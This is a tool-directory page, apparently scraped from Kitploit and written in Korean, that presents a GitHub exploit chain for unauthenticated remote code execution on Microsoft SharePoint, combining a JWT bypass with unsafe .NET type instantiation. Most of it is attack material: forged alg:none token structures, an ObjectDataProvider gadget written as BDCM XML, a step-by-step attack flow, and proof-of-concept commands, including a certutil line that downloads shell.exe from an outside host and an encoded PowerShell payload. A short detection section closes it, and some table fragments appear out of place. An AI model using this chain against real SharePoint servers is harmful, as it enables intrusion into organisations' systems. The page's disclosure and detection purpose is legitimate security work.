Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-63520 — # Microsoft SharePoint의 인증되지 않은 RCE를 위한 익스플로잇 체인 JWT 인증 우회와 안전하지 않은 .NET 타입 인스턴스화를 결합하여 서비스 계정으로 코드 실행을 달성하는 Microsoft SharePoint의 인증되지 않은 RCE 익스플로잇 체인입니다. | Kitploit
도구/GitHubGitHub/hypnguyen1209/cve-2026-63520
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRed TeamingPayload Development
GitHubhypnguyen1209/cve-2026-63520

CVE-2026-63520

# Microsoft SharePoint의 인증되지 않은 RCE를 위한 익스플로잇 체인 JWT 인증 우회와 안전하지 않은 .NET 타입 인스턴스화를 결합하여 서비스 계정으로 코드 실행을 달성하는 Microsoft SharePoint의 인증되지 않은 RCE 익스플로잇 체인입니다.

19시간 24분 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

CVE-2026-63520 SharePoint 안전하지 않은 타입 RCE + CVE-2026-55040 체인

Microsoft SharePoint Server에서의 인증 없는 RCE. 자격 증명 불필요.

Stephen Fewer(Rapid7)는 Pwn2Own Berlin 2026에서 CVE-2026-55040을 시연했습니다. Rapid7은 후속 연구 중 CVE-2026-63520을 발견했고, VulnCheck는 독립적으로 대체 가젯 체인을 발견했습니다. 이 두 버그를 함께 사용하면 패치되지 않은 인터넷상의 모든 SharePoint에서 인증 없는 원격 코드 실행이 가능합니다.

CISA는 PoC 공개 후 몇 시간 내에 경보를 발령했습니다. 현재 야생에서 악용되고 있습니다.

기능

두 개의 버그, 하나의 체인:

CVE유형CVSS영향
CVE-2026-55040JWT 인증 우회9.1SharePoint의 S2S 토큰 검증에는 네 가지 독립적인 취약점이 있습니다. 이를 연결하면 비밀번호를 모르는 상태에서 모든 사용자(사이트 관리자 포함)에 대한 유효한 JWT를 위조할 수 있습니다.
CVE-2026-63520안전하지 않은 .NET 타입 인스턴스화 → RCE8.1BDC(Business Data Connectivity)는 업로드된 XML에서 허용 목록 없이 임의의 .NET 타입 이름을 확인합니다. ObjectDataProvider를 가리키면 Process.Start()를 얻을 수 있습니다.

두 버그 모두 단독으로는 흥미롭지 않습니다. CVE-2026-63520은 인증이 필요합니다. CVE-2026-55040은 인증을 제공합니다. 함께 사용하면: SharePoint 서비스 계정으로 인증 없는 RCE가 가능합니다.

버그 1: JWT 우회 (CVE-2026-55040)

SharePoint는 서버 간(S2S) 인증에 중첩된 JWT를 사용합니다. 외부 토큰은 사용자 ID를 전달하고, 내부 "actor token"은 호출 애플리케이션을 나타냅니다. SPJsonWebSecurityTokenHandlerV2.ValidateToken()의 네 가지 취약점으로 전체가 무너집니다:

취약점 1 - 서명 검증이 꺼져 있음. 검증기가 RequireSignedTokens = false로 설정합니다. 외부 토큰은 alg: none을 허용합니다. 서명이 필요 없습니다.

취약점 2 - 검증 없는 x5t 확인. actor token의 서명 키는 인증서 저장소에서 x5t(인증서 지문) 헤더를 조회하여 확인됩니다. SharePoint는 actor token의 서명이 실제로 해당 키와 일치하는지 확인하지 않습니다.

취약점 3 - 발급자 검증이 알 수 없는 인증서를 허용함. ValidateIssuer()는 서명 인증서가 TrustedSecurityTokenServices 컬렉션에 없으면 통과합니다. SharePoint 자체 STS 인증서는 여기에 등록되어 있지 않습니다. 따라서 x5t를 통해 이를 참조하면 발급자 검증이 무조건 통과합니다.

취약점 4 - 비암호화 서명 검사. GetTokenSignature()는 비어 있지 않은 문자열을 요구하지만 암호화 검증은 전혀 수행하지 않습니다. 어떤 값이든 작동합니다. AAAA도 작동합니다.

STS 인증서는 공개되어 있습니다. /_layouts/15/metadata/json/1(인증 없는 엔드포인트)에서 가져와 SHA-1 지문을 계산하면 필요한 모든 것을 얻을 수 있습니다.

위조된 토큰의 형태

외부 토큰 (사용자 ID 전달):

root@kitploit:~
// 헤더
{"alg": "none", "typ": "JWT"}

// 페이로드
{
  "aud": "00000003-0000-0ff1-ce00-000000000000/SPHOST@<realm>",
  "iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
  "nameid": "<대상 SID 또는 UPN>",
  "nii": "urn:office:idp:activedirectory",
  "trustedfordelegation": "true",
  "actortoken": "<내부 JWT>"
}
// 서명: 비어 있음 (alg:none)

내부 actor token ("애플리케이션"을 나타냄):

root@kitploit:~
// 헤더
{"alg": "RS256", "typ": "JWT", "x5t": "<STS 인증서 지문>"}

// 페이로드
{
  "iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
  "nameid": "00000003-0000-0ff1-ce00-000000000000@<realm>",
  "nbf": 1756000000,
  "exp": 1756003600
}
// 서명: "AAAA" (비어 있지 않은 아무 값이나 가능)

ID를 선택하는 세 가지 방법:

버그 2: RCE (CVE-2026-63520)

SharePoint의 BDC(Business Data Connectivity) 서비스는 관리자가 BDC 모델 XML 파일(.bdcm)을 통해 외부 데이터 소스를 정의할 수 있게 합니다. 이러한 모델은 BDC가 런타임에 인스턴스화하는 .NET 타입을 지정합니다.

문제는 DbTypeReflector.ResolveDotNetType()에 있습니다:

root@kitploit:~
// Microsoft.SharePoint.BusinessData.SystemSpecific.Db.DbTypeReflector
if (abstractTypeName.Length < 15)
{
    return base.ResolveDotNetType(abstractTypeName, lobSystemStruct);
}
return Type.GetType(abstractTypeName, throwOnError: true);  // GAC의 모든 타입

15자 미만의 타입 이름은 안전한 확인자를 거칩니다. 더 긴 것은 Type.GetType()을 직접 호출합니다 - GAC(Global Assembly Cache)의 모든 어셈블리 한정 타입 이름을 확인합니다. 허용 목록도, 차단 목록도 없습니다. 공격자는 BDCM XML을 통해 abstractTypeName을 제어합니다.

가젯 체인

PresentationFramework의 System.Windows.Data.ObjectDataProvider를 사용합니다. ObjectInstance 속성을 설정하면 해당 인스턴스에서 MethodName을 호출합니다. MethodName = "Start"로 설정하고 ObjectInstance = System.Diagnostics.Process로 설정한 후 조작된 StartInfo를 지정하면 BDC의 속성 설정자 리플렉션이 나머지를 처리합니다:

root@kitploit:~
ObjectDataProvider 생성
  → MethodName = "Start"
  → ObjectInstance = Process
    → StartInfo.FileName = "cmd.exe"
    → StartInfo.Arguments = "/c <payload>"
    → StartInfo.UseShellExecute = false
    → StartInfo.CreateNoWindow = true
  → 속성 설정자가 QueryWorker() 트리거
    → BeginQuery() → InvokeMethodOnInstance()
      → Type.InvokeMember("Start") → Process.Start()

이를 전달하는 BDCM XML:

root@kitploit:~
<TypeDescriptor Name="ReturnRoot"
  TypeName="System.Windows.Data.ObjectDataProvider, PresentationFramework, 
    Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35">
  <TypeDescriptors>
    <TypeDescriptor Name="MethodName" TypeName="System.String">
      <DefaultValues>
        <DefaultValue ...>Start</DefaultValue>
      </DefaultValues>
    </TypeDescriptor>
    <TypeDescriptor Name="ObjectInstance"
      TypeName="System.Diagnostics.Process, System, ...">
      <TypeDescriptor Name="StartInfo"
        TypeName="System.Diagnostics.ProcessStartInfo, System, ...">
        <TypeDescriptor Name="FileName" TypeName="System.String">
          <DefaultValues><DefaultValue ...>cmd.exe</DefaultValue></DefaultValues>
        </TypeDescriptor>
        <TypeDescriptor Name="Arguments" TypeName="System.String">
          <DefaultValues><DefaultValue ...>/c whoami</DefaultValue></DefaultValues>
        </TypeDescriptor>
      </TypeDescriptor>
    </TypeDescriptor>
  </TypeDescriptors>
</TypeDescriptor>

VulnCheck는 DotNetAssembly LobSystem을 통한 TypeConfuseDelegate 역직렬화와 함께 System.Web.UI.LosFormatter를 사용하는 대체 체인을 문서화했습니다. 여러 가젯이 작동합니다 - 기본 프리미티브는 제한 없는 타입 인스턴스화입니다.

전체 공격 흐름

root@kitploit:~
    공격자                         SharePoint 서버
       │                                    │
       │── GET /_layouts/15/metadata/json/1 ──▶│
       │◀── STS 인증서 (x5t + realm) ─────────│  (인증 없음)
       │                                    │
       │── DC에 SMB null 세션 ─────────────────▶ 도메인 컨트롤러
       │◀── 도메인 SID ────────────────────────│
       │                                    │
       │── JWT 위조 (alg:none + AAAA 서명) ──│
       │── POST /_api/contextinfo ──────────▶│
       │◀── FormDigestValue ────────────────│  CVE-2026-55040: 관리자로 인증됨
       │                                    │
       │── POST /_api/web/lists ────────────▶│  BDC 카탈로그 생성
       │── POST .../Files/add(evil.bdcm) ──▶│  가젯 체인 업로드
       │── POST /_vti_bin/client.svc/ ──────▶│  ProcessQuery 트리거
       │        ProcessQuery                │
       │                                    │  CVE-2026-63520: Process.Start()
       │                                    │  → cmd.exe /c <payload>
       │                                    │  → SP 서비스 계정으로 실행

여섯 단계:

  1. STS 인증서 가져오기. /_layouts/15/metadata/json/1에 접근합니다. 인증이 필요 없습니다. keys[0].keyValue.value에서 X.509 인증서를 추출하고, SHA-1 해시 후 base64url로 인코딩합니다. 이것이 x5t입니다. issuer 필드에서 realm을 얻습니다.

  2. 사이트 관리자 찾기. 도메인 컨트롤러에 SMB null 세션을 열고, LSARPC LsarQueryInformationPolicy로 도메인 SID를 얻은 다음, RID(500, 1000-10000)를 반복하며 각각에 대해 JWT를 위조하여 /_api/web/currentuser가 IsSiteAdmin: true를 반환할 때까지 시도합니다. 또는 알려진 UPN을 제공합니다.

  3. JWT 위조. 외부: alg:none, nameid = 관리자 SID, actortoken = 내부 JWT. 내부: alg:RS256, x5t = STS 지문, 서명 = AAAA. Base64url 인코딩 후 점으로 연결합니다. 완료.

  4. 폼 다이제스트 얻기. 위조된 Bearer 토큰으로 를 호출합니다. SharePoint가 쓰기 작업을 위한 를 제공합니다.

영향을 받는 버전

2026년 8월 누적 업데이트는 BDC가 인스턴스화할 수 있는 .NET 타입을 제한하는 ValidateSafeBcsType()을 추가합니다. JWT 수정은 적절한 서명 검증을 추가하고 신뢰할 수 있는 토큰 서비스 컬렉션에 STS 인증서를 등록합니다.

SharePoint 2016의 메인스트림 지원은 2026년에 종료되었습니다. 확장 지원이 없는 조직은 수정 사항을 받지 못할 수 있습니다.

실행 방법

의존성 설치:

root@kitploit:~
pip install requests
pip install impacket  # --domain-ip 자동 SID 발견에만 필요

모든 것 자동 발견 (SID에 DC 액세스 필요)

root@kitploit:~
python3 poc.py \
  --target 192.168.1.10 \
  --domain-ip 192.168.1.5 \
  --cmd "cmd.exe /c whoami > C:\Windows\Temp\pwned.txt"

스크립트는 다음을 수행합니다:

  • STS 메타데이터에서 x5t 및 realm 가져오기
  • SMB null 세션으로 도메인 SID 획득
  • 사이트 관리자를 찾을 때까지 RID 반복
  • JWT 위조, 다이제스트 획득, BDCM 업로드, RCE 트리거

알려진 UPN 사용 (SMB 불필요)

root@kitploit:~
python3 poc.py \
  --target sharepoint.corp.local \
  --upn [email protected] \
  --cmd "powershell -enc JABjAD0ATgBlAHcALQBPAGIA..."

알려진 SID 사용

root@kitploit:~
python3 poc.py \
  --target 10.0.0.50 \
  --sid S-1-5-21-4203888158-2793536450-3921675298-500 \
  --cmd "certutil -urlcache -split -f http://10.0.0.100/shell.exe C:\Windows\Temp\shell.exe"

TLS 인증서에서 UPN 자동 발견

root@kitploit:~
python3 poc.py \
  --target 10.0.0.50 \
  --auto-upn \
  --username administrator \
  --cmd "calc.exe"

인증 우회 확인만 (RCE 없음)

root@kitploit:~
python3 poc.py \
  --target 192.168.1.10 \
  --domain-ip 192.168.1.5 \
  --cmd "dummy" \
  --check-only

Authenticated as: SHAREPOINT\system (System Account) [SITE ADMIN]이 표시되어야 합니다. 이는 JWT 우회가 작동하고 관리자 수준 액세스 권한이 있음을 확인합니다.

비표준 포트

root@kitploit:~
python3 poc.py \
  --target 10.0.0.50 \
  --port 8443 \
  --upn [email protected] \
  --cmd "whoami"

탐지

확인해야 할 사항:

  • SharePoint 엔드포인트에 접근하는 alg: none JWT. 합법적인 S2S 토큰은 항상 RS256을 사용합니다.
  • 동일한 소스 IP에서 인증된 API 호출이 뒤따르는 /_layouts/15/metadata/json/1 요청. 메타데이터 엔드포인트는 공개되어 있지만, 정찰 후 관리자 수준 액세스는 의심스럽습니다.
  • BusinessDataMetadataCatalog에 나타나는 새 .bdcm 파일. 대부분의 SharePoint 배포는 BDC를 전혀 사용하지 않습니다. BDCM 업로드는 조사할 가치가 있습니다.
  • 엔터티 타입 이름에 ObjectDataProvider 또는 LosFormatter가 포함된 알 수 없는 BDC 엔터티를 참조하는 ProcessQuery 요청.
  • w3wp.exe(SharePoint 애플리케이션 풀)에서의 프로세스 생성. 작업자 프로세스의 자식으로 cmd.exe, powershell.exe, certutil.exe가 나타나는 것은 전형적인 지표입니다.

참고 자료

  • VulnCheck - Exploiting SharePoint: CVE-2026-55040 and CVE-2026-63520 RCE Chain
  • Rapid7 - Technical Analysis of CVE-2026-63520
  • Rapid7 - Technical Analysis of CVE-2026-55040
  • Rapid7 - CVE-2026-55040 Disclosure
  • Rapid7 - CVE-2026-63520 Disclosure
  • sfewer-r7/CVE-2026-55040 (PoC)
  • Previdian - CVE-2026-55040
  • Microsoft Advisory - CVE-2026-55040
  • Microsoft Advisory - CVE-2026-63520

법적 고지

승인된 보안 테스트에만 사용하십시오. 소유하지 않은 시스템에 대해 실행하기 전에 서면 허가를 받으십시오.

도구 다운로드
모드nameidnii필요한 것
SIDS-1-5-21-...-1605urn:office:idp:activedirectory도메인 SID(SMB null 세션) + RID 무차별 대입
UPNupn_bypass + upn 클레임urn:office:idp:activedirectory유효한 UPN (예: [email protected])
AccessToken0#.w|nt authority\local serviceAccessToken없음. 제한된 액세스지만 일부 체인에는 충분함.
POST /_api/contextinfo
FormDigestValue
  • BDCM 업로드. BusinessDataMetadataCatalog 라이브러리를 만들고 ObjectDataProvider 가젯 체인이 포함된 악성 .bdcm XML을 업로드합니다.

  • 트리거 실행. BDC 엔터티를 확인하는 요청으로 POST /_vti_bin/client.svc/ProcessQuery를 호출합니다. SharePoint가 BDCM의 타입을 인스턴스화하고 리플렉션으로 속성을 설정하며, ObjectDataProvider가 Process.Start()를 실행합니다. 코드가 SharePoint 서비스 계정으로 실행됩니다.

  • 제품취약한 버전패치KB
    SharePoint Server Subscription Edition16.0.19725.20522 미만2026년 8월 CUKB5002893
    SharePoint Server 201916.0.10417.20198 미만2026년 8월 SU-
    SharePoint Enterprise Server 201616.0.5565.1001 미만2026년 8월 SU-